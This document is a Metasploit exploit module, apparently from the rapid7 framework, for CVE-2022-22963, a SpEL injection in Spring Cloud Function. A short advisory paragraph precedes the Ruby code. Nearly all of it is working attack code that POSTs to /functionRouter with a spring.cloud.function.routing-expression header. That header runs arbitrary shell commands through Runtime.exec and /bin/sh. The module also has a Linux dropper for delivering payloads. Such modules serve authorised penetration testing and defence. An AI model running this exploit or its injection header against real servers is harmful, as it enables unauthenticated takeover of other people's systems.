Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
37237adb0a663338ed6a55623faff6db##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Function SpEL Injection',
'Description' => %q{
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using
an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting
the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code
execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
},
'Author' => [
'm09u3r', # vulnerability discovery
'hktalent', # github PoC
'Spencer McIntyre'
],
'References' => [
['CVE', '2022-22963'],
['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],
['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']
],
'DisclosureDate' => '2022-03-29',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 8080,
'TARGETURI' => '/functionRouter'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'])
)
return CheckCode::Unknown unless res
# both vulnerable and patched servers respond with 500 and a JSON body with these keys
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)
# best we can do is detect that the service is running
CheckCode::Detected
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'headers' => {
'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
}
)
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500
end
end